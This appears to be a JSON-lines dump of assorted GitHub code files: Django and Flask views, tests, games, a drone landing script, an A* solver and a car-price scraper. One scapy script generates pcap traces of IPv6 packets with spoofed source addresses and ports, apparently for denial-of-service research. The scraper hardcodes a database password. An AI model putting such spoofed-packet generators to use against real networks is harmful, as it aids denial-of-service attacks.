two = self.refresh_objects(self.root, self.one, self.two)\n        self.assertEqual(root.owner, self.volozh)\n        self.assertEqual(one.owner, self.thasonic)\n        self.assertEqual(two.owner, self.volozh)\n\n    def test_change_owner_for_cluster_with_old_owner(self):\n        owner_logic.change_owner_for_cluster(\n            root=self.root,\n            user=self.thasonic,\n            new_owner=self.volozh,\n            old_owner=self.thasonic,\n        )\n\n        root, one, two = self.refresh_objects(self.root, self.one, self.two)\n        self.assertEqual(root.owner, self.volozh)\n        self.assertEqual(one.owner, self.volozh)\n        self.assertEqual(two.owner, self.volozh)\n\n    def test_change_owner_for_cluster_with_old_owner_by_subpage_owner(self):\n        owner_logic.change_owner_for_cluster(\n            root=self.root,\n            user=self.volozh,\n            new_owner=self.thasonic,\n            old_owner=self.volozh,\n        )\n\n        root, one, two = self.refresh_objects(self.root, self.one, self.two)\n        self.assertEqual(root.owner, self.thasonic)\n        self.assertEqual(one.owner, self.thasonic)\n        self.assertEqual(two.owner, self.thasonic)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/wiki_tests/unit_unittest/pages/logic/test_owner.py","file_name":"test_owner.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36421403519","text":"from django.shortcuts import render\nfrom server import models\nfrom server.models import asset, Account\nfrom server.forms import QueryForm\nimport math\nfrom server import views\nfrom django.db.models import Q\n\nradius_of_earth = 6371\n\ndef parse_session(request, template_data=None):\n    \"\"\"\n    Checks the session for any alert data. If there is alert data, it added to the given template data.\n    :param request: The request to check session data for\n    :param template_data: The dictionary to update\n    :return: The updated dictionary\n    \"\"\"\n    if template_data is None:\n        template_data = {}\n    if request.session.has_key('alert_success'):\n        template_data['alert_success'] = request.session.get('alert_success')\n        del request.session['alert_success']\n    if request.session.has_key('alert_danger'):\n        template_data['alert_danger'] = request.session.get('alert_danger')\n        del request.session['alert_danger']\n    return template_data\n\n\ndef explore(request):\n\tauthentication_result = views.authentication_check(request)\n\tif authentication_result is not None:\n\t\treturn authentication_result\n\ttemplate_data = parse_session(\n\t\trequest,\n\t\t{'form_button':'Query'}\n\t)\n\tif request.method == 'POST':\n\t\tform = QueryForm(request.POST)\n\t\tif form.is_valid():\n\t\t\t# Query to find images in that range\n\t\t\tdesired_id = find_images(form.cleaned_data['department'],form.cleaned_data['latitude'],form.cleaned_data['longitude'], form.cleaned_data['distance'], form.cleaned_data['year'], form.cleaned_data['input_text_type'], form.cleaned_data['input_text_capacity'])\n\t\t\tprint(desired_id)\n\t\t\t# for id_i in desired_id:\n\t\t\t# #asset.objects.filter(id=id_i))\n\t\t\t# \ttemplate_data['query']=asset.objects.filter(\n\t\t\t# \t\tQ(id=id_i)\n\t\t\t# \t)\n\t\t\ttemplate_data['query']=asset.objects.filter(pk__in=desired_id)\n\t\t\tprint(template_data['query'])\n\telse:\n\t\tform = QueryForm()\n\ttemplate_data['form'] = form\n\treturn render(request, 'explore.html', template_data)\n\n\n# Function to find images having the distance which user wants\ndef find_images(department,latitude,longitude, distance, year, input_text_type, input_text_capacity):\n\tdesired_id = []\n\tprint(department,latitude,longitude,distance,year,input_text_type,input_text_capacity)\n\tphi1 = toRadians(latitude)\n\tlambda1 = toRadians(longitude)\n\tprint(phi1,lambda1)\n\n\tfor asseti in asset.objects.all():\n\t\tphi2 = toRadians(asseti.latitude)\n\t\tlambda2 = toRadians(asseti.longitude)\n\t\t# If any one is NULL\n\t\tif(phi2 == -1 or lambda2 == -1):\n\t\t\tprint(\"Do nothing\")\n\t\telse:\n\t\t\tgot_distance = getDistance(phi1,phi2,lambda1,lambda2,distance)\n\t\t\tprint(got_distance)\n\t\t\tif int(department)==60:\n\t\t\t\tif input_text_capacity == '' and input_text_type == '':\n\t\t\t\t\tif got_distance < float(distance) and int(asseti.department) == int(department):\n\t\t\t\t\t\tprint(asseti.img_name)\n\t\t\t\t\t\tdesired_id.append(asseti.id)\n\t\t\t\telif input_text_capacity == '':\n\t\t\t\t\tif got_distance < float(distance) and asseti.kind == str(input_text_type):\n\t\t\t\t\t\tprint(asseti.img_name)\n\t\t\t\t\t\tdesired_id.append(asseti.id)\n\t\t\t\telif input_text_type == '':\n\t\t\t\t\tif got_distance < float(distance) and int(asseti.capacity) <= int(input_text_capacity):\n\t\t\t\t\t\tprint(asseti.img_name)\n\t\t\t\t\t\tdesired_id.append(asseti.id)\n\t\t\t\telse:\n\t\t\t\t\tif got_distance < float(distance) and int(asseti.capacity) <= int(input_text_capacity) and asseti.kind == str(input_text_type):\n\t\t\t\t\t\tprint(asseti.img_name)\n\t\t\t\t\tdesired_id.append(asseti.id)\n\t\t\telse:\n\t\t\t\tif input_text_capacity == '' and input_text_type == '':\n\t\t\t\t\tif got_distance < float(distance) and int(asseti.department) == int(department):\n\t\t\t\t\t\tprint(asseti.img_name)\n\t\t\t\t\t\tdesired_id.append(asseti.id)\n\t\t\t\telif input_text_capacity == '':\n\t\t\t\t\tif got_distance < float(distance) and int(asseti.department) == int(department) and asseti.kind == str(input_text_type):\n\t\t\t\t\t\tprint(asseti.img_name)\n\t\t\t\t\t\tdesired_id.append(asseti.id)\n\t\t\t\telif input_text_type == '':\n\t\t\t\t\tif got_distance < float(distance) and int(asseti.department) == int(department) and int(asseti.capacity) <= int(input_text_capacity):\n\t\t\t\t\t\tprint(asseti.img_name)\n\t\t\t\t\t\tdesired_id.append(asseti.id)\n\t\t\t\telse:\n\t\t\t\t\tif got_distance < float(distance) and int(asseti.department) == int(department) and int(asseti.capacity) <= int(input_text_capacity) and asseti.kind == str(input_text_type):\n\t\t\t\t\t\tprint(asseti.img_name)\n\t\t\t\t\t\tdesired_id.append(asseti.id)\n\n\treturn desired_id\n\n\n\n# Convert the latitude and longitude to Radians\ndef toRadians(input):\n\tif input == None:\n\t\treturn -1\n\telse:\n\t\treturn 0.0174533*float(input)\n\n# Get distance between the two points\ndef getDistance(phi1,phi2,lambda1,lambda2,radius):\n\tangle = math.acos(math.sin(float(phi1))*math.sin(float(phi2)) + math.cos(float(phi1))*math.cos(float(phi2))*math.cos(abs(float(lambda1)-float(lambda2))))\n\treturn angle*radius_of_earth","repo_name":"MJ10/SIH_PyExtractor","sub_path":"PyExtractor/server/explore.py","file_name":"explore.py","file_ext":"py","file_size_in_byte":4780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"71537453843","text":"\"\"\"este modulo es la logica y con este modulo haremos la parte logica del juego \nde 3 en linea. tendremos funciones de obtener tablero logico, actualizar el tablero logico, \ndeterminar ganador, determinar si la posicion de una jugada esta ocupada y tener una lista del \ntablero faltante \"\"\"\n\ndef obtenerTableroLogico():\n\n    tableroLogico=[None,None,None,None,None,None,None,None,None]\n\n    return tableroLogico\n\ndef actualizarTableroLogico(tableroLogico, posicion, caracter):\n\n    tableroLogico[posicion]=caracter\n\n    return tableroLogico\n\ndef determinarGanador(tableroLogico):\n\n    posicionesParaGanar=[(0,1,2),(3,4,5),(6,7,8),(0,3,6),(1,4,7),(2,5,8),(0,4,8),(2,4,6)]\n    ganador=None\n    for p1, p2, p3 in posicionesParaGanar:\n        if (tableroLogico[p1] == tableroLogico[p2] == tableroLogico[p3]):\n            if tableroLogico[p1] != None:\n                ganador= tableroLogico[p1]\n    \n    return ganador\n\ndef determinarPosicionOcupada(tableroLogico, posicion):\n    if tableroLogico[posicion] == None:\n        validez=True\n    else:\n        validez=False\n    return validez\n\ndef tableroFaltante(tableroLogico):\n    tableroAzucar=[]\n    for i in range(0,9):\n        if tableroLogico[i] == None:\n            tableroAzucar.append(i)\n    return tableroAzucar\n\nif __name__== \"__main__\":\n    tablero = obtenerTableroLogico()\n    tableroNuevo = actualizarTableroLogico(tablero, 0, \"x\")\n    print(tableroNuevo)\n    ganador =  determinarGanador([\"x\", \"x\", \"x\", None, None,None,None,None,None, ])\n    print(ganador)\n\n","repo_name":"AlejoPatigno/INFORMES","sub_path":"INFORME3/logicaTriqui.py","file_name":"logicaTriqui.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42802121183","text":"#!/usr/bin/env python3\r\n\r\nimport argparse\r\nfrom scapy.all import *\r\n#from scapy.layers.inet import IPv6, TCP\r\nfrom random import shuffle\r\nimport struct\r\nimport ipaddress\r\nimport pprint\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--src-mac', '-s', type=str, required=True,\r\n                    help='Source MAC address')\r\nparser.add_argument('--dst-mac', '-d', type=str, required=True,\r\n                    help='Destination MAC address')\r\nparser.add_argument('--src-ip', type=str, required=True,\r\n                    help='Source IPv6 address')\r\nparser.add_argument('--dst-ip', type=str, required=True,\r\n                    help='Destination IPv6 address (SPOOFED)')\r\nparser.add_argument('--dst-tcp', type=str, required=True,\r\n                    help='Destination TCP port (SPOOFED)')\r\nparser.add_argument('--protocol', type=str, required=False,\r\n                    help='Destination  port protocol: UDP or TCP (default: TCP)',\r\n        \t\t    default=[\"tcp\"])\r\nparser.add_argument('--output', '-o', type=str, help='Output file',\r\n                    default='/dev/stdout')\r\nparser.add_argument('--shuffle', dest='shuffle',\r\n                    help='Randomize packet order',\r\n                    action='store_true')\r\nparser.set_defaults(shuffle=False)\r\nargs = parser.parse_args()\r\n\r\np=[]\r\n\r\nsrc_ip = ipaddress.IPv6Address(args.src_ip)\r\ndst_tcp = int(args.dst_tcp)\r\nproto = args.protocol[0]\r\nproto = proto.lower()\r\nprint(proto)\r\nif proto != \"tcp\" or proto != \"udp\":\r\n    print(\"Protocol {} is unknown\".format(proto))\r\n    exit(-1)\r\n\r\nexit(-1)\r\n# src\r\nsrc_ip_int  = int(src_ip)\r\nsrc_ip_list = [ord(x) for x in list(struct.unpack(\"!16c\", src_ip.packed))]\r\n\r\n# pprint.pprint(src_ip_list)\r\n\r\nfor i in range(16):\r\n    n = list(bin(src_ip_list[i])[2:].zfill(8))\r\n    for j in range(8):\r\n        s = src_ip_list[:]\r\n        s[i] = s[i] - (1 << (7-j)) if int(n[j]) == 1 else s[i] + (1 << (7-j))\r\n        spoof_sip = ipaddress.IPv6Address(bytes(s))\r\n\r\n        # pprint.pprint(str(spoof_sip))\r\n        # pprint.pprint(args.dst_ip)\r\n        \r\n        # dst port\r\n        m = list(bin(dst_tcp)[2:].zfill(16))\r\n        for k in range(16):\r\n            # print(\"%s\" % (bin(tcp_dst - (1 << (15-j)) if int(n[j]) == 1 else tcp_dst + (1 << (15-j)))[2:].zfill(16)))\r\n            # print(\"%s\" % (tcp_dst - (1 << (15-j)) if int(n[j]) == 1 else tcp_dst + (1 << (15-j))))\r\n            spoof_dp = dst_tcp - (1 << (15-k)) if int(m[k]) == 1 else \\\r\n                       dst_tcp + (1 << (15-k))\r\n\r\n            if proto == \"tcp\":\r\n                p.append(Ether(src=args.src_mac, dst=args.dst_mac)/ \\\r\n                        IPv6(src=str(spoof_sip), dst=args.dst_ip)/ \\\r\n                        TCP(sport=20, dport=int(spoof_dp))/ \\\r\n                        \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\r\n            else:\r\n                p.append(Ether(src=args.src_mac, dst=args.dst_mac) / \\\r\n                        IPv6(src=str(spoof_sip), dst=args.dst_ip) / \\\r\n                        UDP(sport=20, dport=int(spoof_dp)) / \\\r\n                        \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\r\n\r\n            # p.append(IPv6(src=str(spoof_sip), dst=args.dst_ip)/ \\\r\n            #          TCP(sport=20, dport=int(spoof_dp))/ \\\r\n            #          \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\r\n            \r\nsys.stderr.write(\"Number of packets generated: %d\\n\" % len(p))\r\n\r\nif args.shuffle == True:\r\n    shuffle(p)\r\n\r\n# for x in p: x.show()\r\nwrpcap(args.output, p)\r\n\r\nsys.exit(0)\r\n\r\n","repo_name":"cslev/ovsdos","sub_path":"ipv6_trace_gen_by_retvari/gen6_tcp_trace_sip_dp.py","file_name":"gen6_tcp_trace_sip_dp.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"29090411242","text":"# reverse.py by Igor Oleshko (ioleshko@csus.edu) for CSC 135 SPRING 2023\n\n\n# Persistent list data structure for Sac State CSC 135 by Ted Krovetz\n# Adding is done only at front of list, maintaining existing views.\n\nclass List135:\n    \n    # create new list node. Defaults to a node representing the empty list\n    def __init__(self, data=None, next=None):\n        self._data = data\n        self._next = next\n    \n    # is the list beginning with self empty?\n    def empty(self):\n        return self._next == None\n    \n    # return the first element of the list that starts with self\n    def first(self):\n        return self._data\n    \n    # return the list that begins after the list that starts with self\n    def rest(self):\n        return self._next\n    \n    # return list beginning with data, followed by list beginning with self\n    def add(self, data):\n        return List135(data, self)\n    \n    # Helper reverse function\n    def reverse(self):\n        \n        # Create an acc which we will use to hold the reversed List135\n        acc = List135()\n        \n        # Using self we can call the private _reverse function and pass in the acc\n        return self._reverse(acc)\n     \n    # Actual reverse function which reverse the self list\n    def _reverse(self, acc):\n      \n        # Check to see if the self list is empty\n        if self.empty():\n        \n            # Return the acc\n            return acc\n    \n        # Work on the solution if the self list is not empty\n        else:\n        \n            # Capture the first element in the CSC135 list\n            curr = self.first()\n        \n            # Add the element to the acc\n            acc = acc.add(curr)\n        \n            # Call the _reverse function recursively\n            return self.rest()._reverse(acc)\n            \n  \n        \n    # tail-recursive function accumulates \",\" + str(cur._data) for each remaining item\n    def _str(self, cur, acc):\n        if cur._next == None:\n            return acc\n        else:\n            acc = acc + \",\" + str(cur._data)\n            cur = cur._next\n            return self._str(cur, acc)\n    \n    def __str__(self):\n        if self._next == None:\n            return \"[]\"\n        else:\n            acc = str(self._data)   # init accumulator with first item\n            cur = self._next        # continue accumulation with next\n            return \"[\" + self._str(cur, acc) + \"]\"\n        \n    \n            \n    \n\n# If you run this file, the indented code below will run. This is a\n# suitable place for you to put testing code. When I test your code\n# using a separate file, the code below will not be run. to be eligible\n# for credit, your code must run the following without sytax or runtime\n# errors. Leave your test cases here, indented, so that I can see them.\nif __name__ == '__main__':\n    a = List135()   # a --> []\n    b = a.add(1)    # b --> [1]\n    c = b.add(2)    # c --> [2,1]\n    d = c.reverse() # d --> [1,2]\n    print(c)\n    print(d)\n    \n    \n    # [] --> []\n    a = List135()\n    b = a.reverse()\n    print(a)\n    print(b)\n    \n    # [1] --> [1]\n    a = List135().add(1)\n    b = a.reverse()\n    print(a)\n    print(b)\n    \n    # [1,2] --> [2,1]\n    a = List135().add(2).add(1)\n    b = a.reverse()\n    print(a)\n    print(b)\n    \n    # [1,2,3]\n    a = List135().add(3).add(2).add(1)\n    b = a.reverse()\n    print(a)\n    print(b)\n    \n\n","repo_name":"ioleshko1/Sacramento-State-Computer-Science","sub_path":"CSC 135/Homework/HW 3/List135reverse.py","file_name":"List135reverse.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"41669402691","text":"from picamera.array import PiRGBArray\nfrom picamera import PiCamera\nfrom dronekit import connect, VehicleMode, LocationGlobalRelative\nfrom pymavlink import mavutil\nimport time\nimport logging\nimport cv2\nimport numpy as np\n# horizontal_fov and vertical_fov is how much your camera can see in terms of degrees, for a Pi camera v1.3 its 54 by 41 degrees\n#color settings\nhue_lower = 55\nhue_upper = 185\nsaturation_lower = 110\nsaturation_upper = 170\nvalue_lower = 190\nvalue_upper = 250\nmin_contour_area = 500 # the smallest number of pixels in a contour before it will register this as a target\n\n#camera\nhorizontal_fov = 54*math.pi/180\nvertical_fov = 41*math.pi/180\nhorizontal_resolution = 1280\nvertical_resolution = 720\n\ndef send_stop_land_message():\n    msg = vehicle.message_factory.landing_target_encode(\n    0,       # time_boot_ms (not used)\n    0,       # target num\n    1,       # gimbal frame\n    0,\n    0,\n    0,       #altitude.  Not supported.\n    0,0)     # size of target in radians\n    vehicle.send_mavlink(msg)\n    vehicle.flush()\ndef send_land_message(x, y):\n    msg = vehicle.message_factory.landing_target_encode(\n    0, # time_boot_ms (not used)\n    0, # target num\n    0, # frame\n    (x-horizontal_resolution/2)*horizontal_fov/horizontal_resolution,\n    (y-vertical_resolution/2)*vertical_fov/vertical_resolution,\n    0, # altitude. Not supported.\n    0,0) # size of target in radians\n    vehicle.send_mavlink(msg)\n    vehicle.flush()\n\nvehicle = connect(\"/dev/ttyACM0\", baud=57600, wait_ready=True)\ncraft.vehicle.parameters['PLND_ENABLED'] = 1\ncraft.vehicle.parameters['PLND_TYPE'] = 1 # Mavlink landing mode\nwhile(1):\n    if 1450<=vehicle.channels['5']<=1550:\n        vehicle.channels.overrides['7']=1850\n\n    else:\n        print(\"Clear all overrides\")\n        vehicle.channels.overrides = {}\n","repo_name":"dinhthong/Pixhawk_PrecLand","sub_path":"Pixhawk_land/precland_main.py","file_name":"precland_main.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7306871777","text":"from plugin.utils import *\r\n\r\nimport re\r\n\r\ndef insert_for_array_def(lines, params):\r\n        # extract longuest match word with 'name' string\r\n        def longuest_match(name, list):\r\n                # make list of words (of 'list') which are contained in 'name' string\r\n                matched_list = [str for str in list if re.findall('^' + str, name) != []]\r\n                # count the characters of strings which are contained in generated list\r\n                matched_characters = {len(str) : str for str in matched_list}\r\n\r\n                # return longuest matched word\r\n                return None if matched_characters == {} else matched_characters[max(matched_characters.keys())]\r\n\r\n        # MESSAGE EXAMPLE: \"NN:NN: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘]’ token\"\r\n        # Note: for missing left square bracket [ at array definition\r\n\r\n        # correct column number which includes Zenkaku characters\r\n        cols = correct_cols(lines[int(params[0]) - 1], int(params[1]))\r\n\r\n        # extract incorrect array name from program list\r\n        incorrect_name = re.sub('^.*\\s+', '', lines[int(params[0]) - 1][:cols - 1])\r\n\r\n        # extract all variables from program lines except the line related to the compile error\r\n        var_list = extract_variables(lines[:int(params[0]) - 1] + lines[int(params[0]) - 1 + 1:])\r\n        # match incorrect array name with name from variable list\r\n        correct_name = longuest_match(incorrect_name, var_list)\r\n        # extract array size from incorrect array name string\r\n        # for example, correct array name string for definition is a[10] and incorrect is a10], the difference between the correct name string 'a' and the incorrect name string 'a10' will be array size\r\n        index = re.sub('^' + correct_name, '', incorrect_name)\r\n\r\n        lines[int(params[0]) - 1] = lines[int(params[0]) - 1][:cols - 1 - len(incorrect_name)] \\\r\n                        + correct_name + '[' + index +']'\\\r\n                        + lines[int(params[0]) - 1][cols:] \r\n\r\n        return lines\r\n","repo_name":"nagura/cceg","sub_path":"plugin/missing_lsquare.py","file_name":"missing_lsquare.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31841640934","text":"#-*- coding: utf-8 -*- \n#蓝本中定义的程序路由\n\nfrom datetime import datetime\nfrom flask import render_template, session, redirect, url_for\n\nfrom .myblueprint import main\nfrom .forms import NameForm\nfrom .. import db\nfrom ..models import User\n\n@main.route('/', methods=['GET', 'POST'])\ndef index():\n\tform = NameForm()\n\tif form.validate_on_submit():\n\t\tdb.create_all()\n\t\t#检测是否存在\n\t\tuser = User.query.filter_by(username=form.name.data).first()\n\t\tif user is None:\n\t\t\tsession['known'] = False\n\t\t\tuser = User(username=form.name.data)\n\t\t\tdb.session.add(user)\n\n\t\t\t#发送邮件\n\t\telse:\n\t\t\tsession['known'] = True\n\t\t\tsession['name'] = form.name.data\n\t\t\tform.name.data = ''\n\n\t\treturn redirect(url_for('main.index'))  #注意url_for参数为点+index，等价于main.index\n\treturn render_template('index.html',\n\t\t\t\t\t\t\tform=form, name=session.get('name'),\n\t\t\t\t\t\t\tknown=session.get('known', False),\n\t\t\t\t\t\t\tcurrtent_time=datetime.utcnow())","repo_name":"twkaja/flasky","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24978455632","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan 14 13:39:53 2015\r\n\r\n@author: sfo\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport math\r\nimport time\r\n\r\ndef cosine_solver(n):\r\n    '''finds points where one tan point is tan point again'''\r\n    \r\n    t = time.time()\r\n    i = 0.04249240322\r\n\r\n\r\n    while i < 0.04249240324:\r\n        #                                                       #.123456789/123\r\n        if abs(np.tan(i) * (math.pi*n + math.pi/2. - i) - 1) <= 0.0000000000001:\r\n            print (\"error:\", abs(np.tan(i) * (math.pi*n + math.pi/2. - i)-1))           \r\n            print (i,\"is the m value for n =\", n,\"humps\")\r\n            i = math.pi\r\n        else:\r\n            i += .000000000000001\r\n        #       #.123456789/1234567\r\n    \r\n    print (\"time to complete in seconds:\", time.time() - t)\r\n            \r\n\r\ndef alternate_cosine_solver():\r\n    '''same thing'''\r\n    \r\n    t = time.time()\r\n    solutions = []\r\n    interval =     0.000000000000000006\r\n\r\n    ####           #.123456789/123\r\n    y =            0.0424924032\r\n    #intervalend = 0.0914526282   \r\n    intervalend =  0.0424924033\r\n\r\n    while y < intervalend:    \r\n        x = (1 + y*np.tan(y)) / (math.pi * np.tan(y)) - .5\r\n        if x.is_integer():\r\n            solutions.append([x,y])\r\n            y += interval\r\n        else:\r\n            y += interval\r\n    \r\n    print (solutions)\r\n    print (\"time to complete in seconds:\", time.time() - t)\r\n    \r\n    \r\n#cosine_solver(7)\r\nalternate_cosine_solver()","repo_name":"simonffox/sin-double-tangents","sub_path":"cos tan solver.py","file_name":"cos tan solver.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1289099684","text":"import dataclasses\nimport heapq\nimport math\nfrom fileinput import FileInput\nfrom typing import Iterable\n\nPoint = tuple[int, int]\nMap = list[list[int]]\n\n\nNEIGHBOR_DELTAS: list[Point] = [(0, 1), (1, 0), (0, -1), (-1, 0)]\n\n\n@dataclasses.dataclass(order=True)\nclass AStarQueueItem:\n    pt: Point = dataclasses.field(compare=False)\n    cost_to: float = dataclasses.field(compare=False)\n    heuristic: float = dataclasses.field(compare=True)\n\n\ndef dist(p1: Point, p2: Point) -> float:\n    dx = p2[0] - p1[0]\n    dy = p2[1] - p1[0]\n    return (dx ** 2 + dy ** 2) ** 0.5\n\n\ndef valid_point(x: int, y: int, size: int) -> bool:\n    return 0 <= x < size and 0 <= y < size\n\n\ndef neighbors(x: int, y: int, size: int) -> Iterable[Point]:\n    for dx, dy in NEIGHBOR_DELTAS:\n        nx = x + dx\n        ny = y + dy\n        if valid_point(nx, ny, size):\n            yield nx, ny\n\n\ndef restore_path(pt: Point, came_from: dict[Point, Point]) -> list[Point]:\n    path: list[Point] = [pt]\n    while pt in came_from:\n        pt = came_from[pt]\n        path.insert(0, pt)\n    return path\n\n\ndef a_star(start: Point, end: Point, map: Map, size: int) -> list[Point]:\n    assert valid_point(*start, size)\n    assert valid_point(*end, size)\n\n    queue: list[AStarQueueItem] = [AStarQueueItem(start, 0, dist(start, end))]\n    scores: dict[Point, float] = {start: 0}\n    came_from: dict[Point, Point] = {}\n\n    while queue:\n        item = heapq.heappop(queue)\n        if item.pt == end:\n            return restore_path(item.pt, came_from)\n\n        for neighbor in neighbors(*item.pt, size):\n            new_cost_to = item.cost_to + map[neighbor[0]][neighbor[1]]\n\n            if new_cost_to < scores.get(neighbor, math.inf):\n                scores[neighbor] = new_cost_to\n                came_from[neighbor] = item.pt\n                heapq.heappush(\n                    queue,\n                    AStarQueueItem(\n                        neighbor,\n                        new_cost_to,\n                        new_cost_to + dist(neighbor, end),\n                    ),\n                )\n\n    raise ValueError(\"no path found\")\n\n\nif __name__ == \"__main__\":\n    input: \"FileInput[str]\" = FileInput()\n    map: Map = [[int(cell) for cell in line.strip()] for line in input]\n    size = len(map)  # maps are square\n    path = a_star((0, 0), (size-1, size-1), map, size)\n    result = sum(map[x][y] for x, y in path) - map[0][0]\n    print(result)\n","repo_name":"MKuranowski/AdventOfCode2021","sub_path":"src/day15a.py","file_name":"day15a.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43777090160","text":"import matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nfrom configuration import Configuration\nfrom path import MotionPath\nfrom rectangle import Rectangle\nfrom circle import Circle\nfrom typing import List, Tuple, Union\nDrawables = List[Tuple[Union[Configuration, MotionPath, Rectangle, Circle], str]]  # type definition\n\n\nclass Movie:\n    \"\"\"\n    Creates animation of different types.\n    \"\"\"\n    def __init__(self):\n        self.fig = plt.figure()\n        self.ax = self.fig.add_subplot(111, aspect='equal', autoscale_on=False, xlim=(0, 1),\n                                       ylim=(-0.05, 1.05))\n        #self.cid = self.fig.canvas.mpl_connect('button_press_event', Movie.onclick)\n\n    @staticmethod\n    def onclick(event):\n        print('button=%d, x=%d, y=%d, xdata=%f, ydata=%f' %\n              (event.button, event.x, event.y, event.xdata, event.ydata))\n\n    def background(self, drawables: Drawables):\n        \"\"\"\n        Create background image for the animation. The draw() method in configuration specifies\n        drawing of a few objects: the cubes, shading around the cubes signalling where the load\n        center cannot be, the real path of the load.\n        :param drawables: list of (one) tuple containing (Configuration objet, string defining\n        color)\n        :return: No output\n        \"\"\"\n\n        for d, color in drawables:\n            d.draw(self.ax, color=color)\n\n    def just_draw(self):\n        \"\"\"Plotting without saving.\"\"\"\n        self.figManager = plt.get_current_fig_manager()\n        self.figManager.window.showMaximized()\n        plt.show()\n\n    def save_figure(self, file_name):\n        \"\"\"Plotting and Saving\"\"\"\n        self.figManager = plt.get_current_fig_manager()\n        self.figManager.window.showMaximized()\n        self.fig.savefig(file_name, bbox_inches='tight', dpi='figure')\n\n    def close(self):\n        self.fig.clear()\n\n    @staticmethod\n    def animate(to_draw_in_current_frame, movie):\n        \"\"\"\n        Function input into FuncAnimation in run_animation(). Receives the current drawables - a\n        circle representing the load and the color. Returns\n\n        :param to_draw_in_current_frame: The current drawables to be drawn in each frame,\n        list of tuples of (object with defined draw() method, color)\n        :param movie: self - to take the axis in which we plot the current frame in the animation.\n        :return: list of objects drawn\n        \"\"\"\n        clear = []\n        for d, color in to_draw_in_current_frame:\n            clear += d.draw(movie.ax, color)\n        return clear\n\n    def run_animation(self, to_draw_in_current_frame, time_interval):\n        \"\"\"Run FuncAnimation function to create animation of the load within the cube maze.\"\"\"\n        anim = animation.FuncAnimation(self.fig, self.animate, to_draw_in_current_frame,\n                                       fargs=[self], interval=time_interval, blit=True)\n        # repeat=True\n        self.just_draw()  # show plot\n","repo_name":"AviramGelblum/Percolation","sub_path":"movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73372656401","text":"from bs4 import BeautifulSoup\nimport requests , os\nimport pprint\n\nimport mysql.connector\n\ndef sending_data(val):\n    mydb = mysql.connector.connect(host='localhost',\n                                            database='carsData',\n                                            user='root',\n                                            password='Aniket@123')\n\n    mycursor = mydb.cursor()\n\n    sql = \"INSERT INTO Data (car_name,car_price,year_,car_rating,car_model) VALUES (%s, %s, %s, %s, %s)\"\n\n    mycursor.executemany(sql, val)\n    mydb.commit()\n    print(mycursor.rowcount, \"was inserted.\")\n  \n\nurl='https://www.cars.com/shopping/results/?stock_type=all&makes%5B%5D=mercedes_benz&models%5B%5D=&list_price_max=&maximum_distance=20&zip='\n\ndef scrapper(url):\n    response = requests.get(url)\n    htmlcontent = response.content\n\n    soup=BeautifulSoup(htmlcontent,'html.parser')\n\n    lis = []\n    res=soup.find_all('div',attrs={'class':'vehicle-card'})\n\n    for i in res:\n        car_name = i.find('h2',class_=\"title\").get_text()[4:-1:1]\n        year_ = i.find('h2',class_=\"title\").get_text()[0:5:1]\n        list_ = car_name.split(' ')\n        car_model=list_[-2] +' '+list_[-1]\n        car_price = i.find('div',class_=\"price-section price-section-vehicle-card\").span.get_text()\n        car_rating = i.find('div',class_=\"vehicle-dealer\")\n        try:\n            car_rating = car_rating.find('span',class_=\"sds-rating__count\").get_text()\n        except(AttributeError):\n            car_rating = None\n        lis.append((car_name,car_price,year_,car_rating,car_model))\n    if len(lis):\n        sending_data(lis)\n    else:\n        print('invallide URL')\nscrapper(url)\n        \n        ","repo_name":"AniketTiwari96/WEB_SCRAPING_IN_PYTHON_WITH_MYSQL","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
